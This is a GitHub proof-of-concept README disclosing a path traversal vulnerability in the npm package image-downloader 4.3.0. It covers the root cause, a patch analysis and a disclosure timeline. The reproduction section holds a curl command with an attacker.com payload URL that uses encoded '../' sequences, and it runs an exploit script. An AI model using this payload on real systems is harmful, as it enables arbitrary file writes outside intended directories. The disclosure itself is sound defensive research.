Skip to content

About

CVE-2026-103648 | Path Traversal in image-downloader 4.3.0 | CVSS 9.1 Critical | CWE-22 | By EterNullSec

Topics

Resources

Stars

2 stars

Watchers

0 watching

Forks

Repository files navigation

CVE-2026-103648 β€” Path Traversal in image-downloader

CVE CVSS CWE Package Status License

Discovered by: Amirhossein Roustaei (@EterNullSec) β€” Eternull Security

πŸ“– Full technical writeup: eternull.net/posts/cve-2026-103648-image-downloader-path-traversal

⚠️ Educational Purposes Only. This repository documents a responsibly disclosed vulnerability. All PoC code is intended for authorized security research and testing in isolated lab environments only. Do not use against systems you do not own or have explicit written permission to test.


πŸ“‹ Advisory Summary

Field Details
CVE ID CVE-2026-103648
NVD Entry nvd.nist.gov/vuln/detail/CVE-2026-103648
CVSS v3.1 Score 9.1 Critical β€” CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWE CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Package image-downloader (npm) by demsking
Weekly npm downloads ~11,000 (~38,000/month) β€” source
Affected Versions < 4.3.1 (all versions including 4.3.0)
Fixed Version 4.3.1
Assigned By GitLab
Published 2026-10-02
Reporter Amirhossein Roustaei (@EterNullSec), Eternull Security

πŸ”¬ Technical Root Cause Analysis

The vulnerability is in image-downloader@4.3.0's filename-extraction logic. This is the actual source of the affected version (index.js, pulled directly from the published npm package):

// image-downloader@4.3.0 β€” index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

The exact bug

  1. path.basename(pathname) is called on the still percent-encoded URL pathname. A sequence like %2e%2e%2fpwned.sh contains no literal /, so path.basename() treats the whole thing as a single filename and returns it unchanged β€” nothing gets stripped.
  2. The result is then passed through decodeURIComponent(). This is the step that turns %2e%2e%2f back into a literal ../ β€” but by now it has already survived the basename step that was supposed to sanitize it.
  3. path.join(options.dest, decodedBasename) is called with a string that now contains a real ../ segment. path.join() normalizes .. the same way cd .. would β€” so the final write path resolves to a location outside options.dest.

In short: the code decodes the filename in the right way, just in the wrong order relative to path.basename(). Decode-then-basename is safe; basename-then-decode is not.

Minimal trigger

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged β€” no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            β†’ resolves one directory ABOVE dest

CVSS Breakdown

Attack Vector:       Network   (AV:N)  β€” remotely triggerable
Attack Complexity:   Low       (AC:L)  β€” no special conditions
Privileges Required: None      (PR:N)  β€” no authentication needed
User Interaction:    None      (UI:N)  β€” fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   β€” arbitrary file write
Availability:        High      (A:H)   β€” overwrite critical files / DoS

🎯 Attack Model

This lab demonstrates the mechanism of the bug end-to-end in a single script for ease of reproduction, but it's worth stating the real-world attack model explicitly:

  • Victim: any application that calls image-downloader's download.image({ url, dest }) with a url value it did not fully control itself β€” e.g. a URL submitted by a user (avatar/image import features), pulled from a webhook payload, or read from an RSS/content feed.
  • Attacker: controls (or can redirect to) the HTTP server the victim's url points at, and controls the path component of that URL β€” which is enough on its own, since the traversal lives in the URL path (%2e%2e%2f...), not in the response body.
  • Impact: the victim process writes a file of the attacker's choosing to a path of the attacker's choosing, outside the directory the developer intended β€” in containers or scripts running with broad filesystem access, this routinely escalates to code execution (e.g. overwriting a cron file, an authorized_keys file, or an executable the app later runs).

In exploit/exploit.py, the attacker and victim roles are collapsed into one script for lab convenience (it stands up both the "victim" server request and the attacker-controlled payload server). In a real exploitation scenario these are two separate, unrelated parties β€” the PoC is structured this way purely so the vulnerability is reproducible with a single command.


πŸ§ͺ Lab Environment Setup

Prerequisites

  • Docker & Docker Compose OR Node.js v18+
  • Python 3.x (for the exploit script)

Option A β€” Docker (Recommended)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

The vulnerable server will be available at http://localhost:3000.

Option B β€” Manual Node.js

cd vulnerable-app/
npm install
node server.js

πŸ’₯ Steps to Reproduce (PoC)

Step 1 β€” Start the Vulnerable Server

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

Step 2 β€” Run the Exploit

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

Or manually with curl (the traversal is in the URL path, not the response body):

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

Step 3 β€” Verify the Traversal

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

πŸ“Έ Proof of Execution

$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

[*] CVE-2026-103648 β€” image-downloader Path Traversal PoC
[*] Target      : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec

πŸ”§ Patch Analysis

Fixed in 4.3.1 (commit fb44543). This is the actual patched source:

// image-downloader@4.3.1 β€” index.js (actual source, unmodified)
const filenameFromPathname = (pathname) => {
  const decoded = decodeURIComponent(pathname);   // βœ… decode FIRST

  if (decoded.includes('\0')) {
    throw invalidFilename('the URL path contains a NUL byte');
  }
  return path.basename(decoded);                  // βœ… THEN basename
};

const isInside = (file, directory) => {
  const relative = path.relative(directory, file);
  return relative !== '' &&
    relative !== '..' &&
    !relative.startsWith(`..${path.sep}`) &&
    !path.isAbsolute(relative);
};

// ... inside module.exports.image:
const resolved = path.join(directory, filenameFromPathname(new URL(options.url).pathname));

if (!isInside(resolved, directory)) {
  return Promise.reject(invalidFilename('the URL path does not resolve to a file inside options.dest'));
}

Three-layer defense:

  1. Decode before basename β€” the exact ordering bug is fixed by swapping the two operations.
  2. NUL-byte rejection β€” defends against filename truncation tricks on some filesystem syscalls.
  3. path.relative() containment check β€” a belt-and-suspenders validation that rejects the result outright if it doesn't resolve strictly inside dest, even if a future change reintroduces an ordering bug.

πŸ• Disclosure Timeline

Date Event
2026-10-01 CVE reserved (GitLab, as CNA)
2026-10-02 Patch released in image-downloader@4.3.1
2026-10-02 CVE-2026-103648 published (MITRE/NVD)
2026-10-03 Public PoC repository and write-up released

πŸ“š References


πŸ‘€ Researcher

Amirhossein Roustaei


This research was conducted ethically and responsibly. The vulnerability was reported to the maintainer before public disclosure. Licensed under MIT.

About

CVE-2026-103648 | Path Traversal in image-downloader 4.3.0 | CVSS 9.1 Critical | CWE-22 | By EterNullSec

Topics

Resources

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages